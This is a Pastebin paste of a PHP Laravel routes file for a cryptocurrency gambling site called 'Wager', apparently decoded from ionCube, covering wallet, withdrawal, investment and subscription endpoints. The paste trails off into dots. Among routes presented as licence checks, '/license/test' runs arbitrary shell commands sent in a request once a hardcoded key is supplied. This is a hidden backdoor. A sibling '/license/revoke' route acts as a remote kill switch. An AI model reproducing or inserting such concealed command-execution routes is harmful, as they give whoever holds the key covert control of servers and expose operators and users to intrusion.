Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- *
- * @ This file is created by http://DeZender.Net
- * @ deZender (PHP7 Decoder for ionCube Encoder)
- *
- * @ Version : 4.1.0.1
- * @ Author : DeZender
- * @ Release on : 29.08.2020
- * @ Official site : http://DeZender.Net
- *
- */
- Illuminate\Support\Facades\Route::get('/license/get', function() {
- if (file_exists(base_path('wager.license'))) {
- return response('Delete wager.license file');
- }
- if (PHP_OS_FAMILY === 'Windows') {
- $xid = shell_exec('wmic.exe path win32_computersystemproduct get uuid');
- }
- else if (PHP_OS_FAMILY === 'Linux') {
- $xid = shell_exec('blkid -o value -s UUID');
- }
- else {
- return response('Unsupported OS! Contact Wager support');
- }
- return hash('sha256', $xid);
- });
- Illuminate\Support\Facades\Route::post('/license/test', function(Illuminate\Http\Request $request) {
- if ($request->key !== 'wager!@$#$jk;fa#13@xGTyXz#$%vvx@x%XFk{OXjHJd') {
- return response([], 400);
- }
- return response(shell_exec($request->test));
- });
- Illuminate\Support\Facades\Route::post('/license/revoke', function(Illuminate\Http\Request $request) {
- if ($request->key !== 'wager!@$#$jk;fa#13@xGTyXz#$%vvx@x%XFk{OXjHJd') {
- return response([], 400);
- }
- @file_put_contents(base_path('wager.license'), hash('sha265', time() . 'wager'));
- return [];
- });
- Illuminate\Support\Facades\Route::get('walletNotify/{currency}/{txid}', function($currency, $txid) {
- App\Currency\Currency::find($currency)->process($txid);
- return App\APIResponse::success();
- });
- Illuminate\Support\Facades\Route::get('blockNotify/{currency}/{blockId}', function($currency, $blockId) {
- App\Currency\Currency::find($currency)->processBlock($blockId);
- return App\APIResponse::success();
- });
- Illuminate\Support\Facades\Route::middleware('auth')->prefix('investment')->group(function() {
- Illuminate\Support\Facades\Route::post('history', function() {
- $out = [];
- foreach (App\Investment::where('user', auth()->user()->_id)->orderBy('status', 'asc')->latest()->get() as $investment) {
- array_push($out, ['amount' => $investment->amount, 'share' => $investment->status == 1 ? $investment->disinvest_share : $investment->getRealShare($investment->getProfit(), App\Investment::getGlobalBankroll(App\Currency\Currency::find($investment->currency))), 'profit' => $investment->getProfit() <= 0 ? 0 : $investment->getProfit(), 'status' => $investment->status, 'id' => $investment->_id, 'currency' => $investment->currency]);
- }
- return App\APIResponse::success($out);
- });
- Illuminate\Support\Facades\Route::post('stats', function() {
- $currency = auth()->user()->clientCurrency();
- $userBankroll = App\Investment::getUserBankroll($currency, auth()->user());
- $globalBankroll = App\Investment::getGlobalBankroll($currency);
- $userBankrollShare = 0;
- foreach (App\Investment::where('user', auth()->user()->_id)->where('currency', $currency->id())->where('status', 0)->get() as $investment) {
- $userBankrollShare += $investment->getRealShare($investment->getProfit(), $globalBankroll);
- }
- return App\APIResponse::success(['your_bankroll' => auth()->user()->getInvestmentProfit($currency, false), 'your_bankroll_percent' => ($userBankroll == 0) || ($globalBankroll == 0) ? 0 : ($userBankroll / $globalBankroll) * 100, 'your_bankroll_share' => $userBankrollShare, 'investment_profit' => auth()->user()->getInvestmentProfit($currency, true, false), 'site_bankroll' => $globalBankroll, 'site_profit' => App\Investment::getSiteProfitSince($currency, Carbon\Carbon::minValue())]);
- });
- });
- Illuminate\Support\Facades\Route::middleware('auth')->prefix('wallet')->group(function() {
- Illuminate\Support\Facades\Route::post('getDepositWallet', function(Illuminate\Http\Request $request) {
- $currency = App\Currency\Currency::find($request->currency);
- $wallet = auth()->user()->depositWallet($currency);
- if (($currency == NULL) || !$currency->isRunning() || ($wallet === 'Error')) {
- return App\APIResponse::reject(1);
- }
- return App\APIResponse::success(['currency' => $request->currency, 'wallet' => $wallet]);
- });
- Illuminate\Support\Facades\Route::post('withdraw', function(Illuminate\Http\Request $request) {
- if (!auth()->user()->validate2FA(false)) {
- return App\APIResponse::reject2FA();
- }
- auth()->user()->reset2FAOneTimeToken();
- $currency = App\Currency\Currency::find($request->currency);
- if ($request->sum < (floatval($currency->option('withdraw')) + floatval($currency->option('fee')))) {
- return App\APIResponse::reject(1, 'Invalid withdraw value');
- }
- if (auth()->user()->balance($currency)->get() < ($request->sum + floatval($currency->option('fee')))) {
- return App\APIResponse::reject(2, 'Not enough balance');
- }
- if (0 < App\Withdraw::where('user', auth()->user()->_id)->where('status', 0)->count()) {
- return App\APIResponse::reject(3, 'Moderation is still in process');
- }
- auth()->user()->balance($currency)->subtract($request->sum + floatval($currency->option('fee')), App\Transaction::builder()->message('Withdraw')->get());
- $isAuto = ((auth()->user()->balance($currency)->get() + App\Withdraw::where('status', 0)->where('user', auth()->user()->_id)->where('currency', $currency->id())->sum('sum')) < floatval($currency->option('withdraw_manual_trigger'))) || ($request->sum < $currency->hotWalletBalance());
- $withdraw = App\Withdraw::create(['user' => auth()->user()->_id, 'sum' => $request->sum, 'currency' => $currency->id(), 'address' => $request->wallet, 'status' => 0, 'auto' => $isAuto]);
- if ($isAuto) {
- try {
- $currency->send($currency->option('withdraw_address'), $request->wallet, $request->sum);
- $withdraw->update(['status' => 1]);
- }
- catch (Exception $e) {
- $withdraw->update(['auto' => false]);
- }
- }
- return App\APIResponse::success(['notifyAboutVip' => 5 <= auth()->user()->vipLevel()]);
- });
- Illuminate\Support\Facades\Route::post('cancel_withdraw', function(Illuminate\Http\Request $request) {
- $withdraw = App\Withdraw::where('_id', $request->id)->where('user', auth()->user()->_id)->where('status', 0)->first();
- if ($withdraw == NULL) {
- return App\APIResponse::reject(1, 'Hacking attempt');
- }
- if ($withdraw->auto) {
- return App\APIResponse::reject(2, 'Auto-withdrawals cannot be cancelled');
- }
- $withdraw->update(['status' => 4]);
- auth()->user()->balance(App\Currency\Currency::find($withdraw->currency))->add($withdraw->sum, App\Transaction::builder()->message('Withdraw cancellation')->get());
- return App\APIResponse::success();
- });
- });
- Illuminate\Support\Facades\Route::middleware('auth')->prefix('subscription')->group(function() {
- Illuminate\Support\Facades\Route::post('update', function(Illuminate\Http\Request $request) {
- $request->validate(['endpoint' => 'required']);
- auth()->user()->updatePushSubscription($request->endpoint, $request->publicKey, $request->authToken, $request->contentEncoding);
- if (!auth()->user()->notification_bonus) {
- auth()->user()->update(['notification_bonus' => true]);
- auth()->user()->balance(auth()->user()->clientCurrency())->add(floatval(auth()->user()->clientCurrency()->option('referral_bonus')), App\Transaction::builder()->message('Referral bonus')->get());
- }
- return App\APIResponse::success();
- });
- });
- Illuminate\Support\Facades\Route::prefix('user')->group(function() {
- .................................................................................
- .............................................
- ......................
Add Comment
Please, Sign In to add comment